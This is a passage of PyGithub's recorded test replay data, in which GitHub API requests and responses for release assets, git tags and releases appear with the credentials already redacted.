X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D3:6F632B1:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 24 Apr 2015 08:39:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] [{"url":"https://api.github.com/repos/edhollandAL/PyGithub/releases/1210814","assets_url":"https://api.github.com/repos/edhollandAL/PyGithub/releases/1210814/assets","upload_url":"https://uploads.github.com/repos/edhollandAL/PyGithub/releases/1210814/assets{?name}","html_url":"https://github.com/edhollandAL/PyGithub/releases/tag/v1.25.2","id":1210814,"tag_name":"v1.25.2","target_commitish":"master","name":"Test","draft":false,"author":{"login":"edhollandAL","id":11922660,"avatar_url":"https://avatars.githubusercontent.com/u/11922660?v=3","gravatar_id":"","url":"https://api.github.com/users/edhollandAL","html_url":"https://github.com/edhollandAL","followers_url":"https://api.github.com/users/edhollandAL/followers","following_url":"https://api.github.com/users/edhollandAL/following{/other_user}","gists_url":"https://api.github.com/users/edhollandAL/gists{/gist_id}","starred_url":"https://api.github.com/users/edhollandAL/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edhollandAL/subscriptions","organizations_url":"https://api.github.com/users/edhollandAL/orgs","repos_url":"https://api.github.com/users/edhollandAL/repos","events_url":"https://api.github.com/users/edhollandAL/events{/privacy}","received_events_url":"https://api.github.com/users/edhollandAL/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2014-10-08T01:54:00Z","published_at":"2015-04-24T08:36:51Z","assets":[],"tarball_url":"https://api.github.com/repos/edhollandAL/PyGithub/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/edhollandAL/PyGithub/zipball/v1.25.2","body":"Body"}] https GET api.github.com None /repos/edhollandAL/PyGithub/releases/1210814/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13980'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] [{"url":"https://api.github.com/api/v3/repos/edhollandAL/PyGithub/releases/assets/16","id":16,"name":"Archive.zip","label":"Installation msi & runbook zipped","uploader":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false,"ldap_dn":"CN=edhollandAL,OU=Test OU,DC=pygithub,DC=com"},"content_type":"application/zip","state":"uploaded","size":3783,"download_count":2,"created_at":"2017-02-01T22:40:58Z","updated_at":"2017-02-01T22:44:58Z","browser_download_url":"https://github.com/edhollandAL/PyGithub/releases/download/v1.25.2/Asset.zip"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseAsset.testDelete.txt0000644000175100001660000000250714756101563023404 0ustar00runnerdockerhttps DELETE api.github.com None /api/v3/repos/edhollandAL/PyGithub/releases/assets/16 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('content-length', '0'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseAsset.testUpdate.txt0000644000175100001660000000547314756101563023431 0ustar00runnerdockerhttps PATCH api.github.com None /api/v3/repos/edhollandAL/PyGithub/releases/assets/16 {"Content-Type": "application/json", "Authorization": "Basic login_and_password_removed", "User-Agent": "PyGithub/Python"} {"name": "updated-name.zip", "label": "Updated label"} 200 [('content-length', '0'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] {"uploader": {"ldap_dn": "CN=edhollandAL,OU=Test Ou OU,OU=KU Online,DC=pygithub,DC=com", "following_url": "https://github.com/api/v3/users/edhollandAL/following{/other_user}", "events_url": "https://github.com/api/v3/users/edhollandAL/events{/privacy}", "organizations_url": "https://github.com/api/v3/users/edhollandAL/orgs", "url": "https://github.com/api/v3/users/edhollandAL", "gists_url": "https://github.com/api/v3/users/edhollandAL/gists{/gist_id}", "html_url": "https://github.com/edhollandAL", "subscriptions_url": "https://github.com/api/v3/users/edhollandAL/subscriptions", "avatar_url": "https://github.com/avatars/u/83?", "repos_url": "https://github.com/api/v3/users/edhollandAL/repos", "received_events_url": "https://github.com/api/v3/users/edhollandAL/received_events", "gravatar_id": "", "starred_url": "https://github.com/api/v3/users/edhollandAL/starred{/owner}{/repo}", "site_admin": false, "login": "PeLopez", "type": "User", "id": 83, "followers_url": "https://github.com/api/v3/users/PeLopez/followers"}, "url": "https://github.com/edhollandAL/PyGithub/releases/assets/16", "created_at": "2017-02-07T20:49:41Z", "updated_at": "2017-02-07T20:49:54Z", "label": "Updated label", "browser_download_url": "https://github.com/edhollandAL/PyGithub/releases/download/v1.25.2/updated-name.zip", "state": "uploaded", "content_type": "application/zip", "download_count": 0, "size": 3783, "id": 73, "name": "updated-name.zip"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt0000644000175100001660000006105514756101563026604 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4887'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E4CA:35AA:8B899:1970E6:5F0D542A')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4886'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E4D2:629B:63F992:E13B0B:5F0D542B')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4885'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E4DA:0725:33FFD9:867D50:5F0D542B')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4884'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"8f7a94cfaaaf36b74c2d1db48611bd15"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/06c4b40f29c39f297343306fd31de4a67c7d1a7d'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E4E2:629B:63F9BF:E13B79:5F0D542C')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjA2YzRiNDBmMjljMzlmMjk3MzQzMzA2ZmQzMWRlNGE2N2M3ZDFhN2Q=","sha":"06c4b40f29c39f297343306fd31de4a67c7d1a7d","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/06c4b40f29c39f297343306fd31de4a67c7d1a7d","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:43:56Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:43:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"bf7a015617e8f37f6b3bf648d54157fa"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530289'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E4EE:77C4:A281E3:11BBC05:5F0D542C')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530289","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530289/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530289/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530289,"node_id":"MDc6UmVsZWFzZTI4NTMwMjg5","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:43:56Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530289 {'Authorization': 'Basic 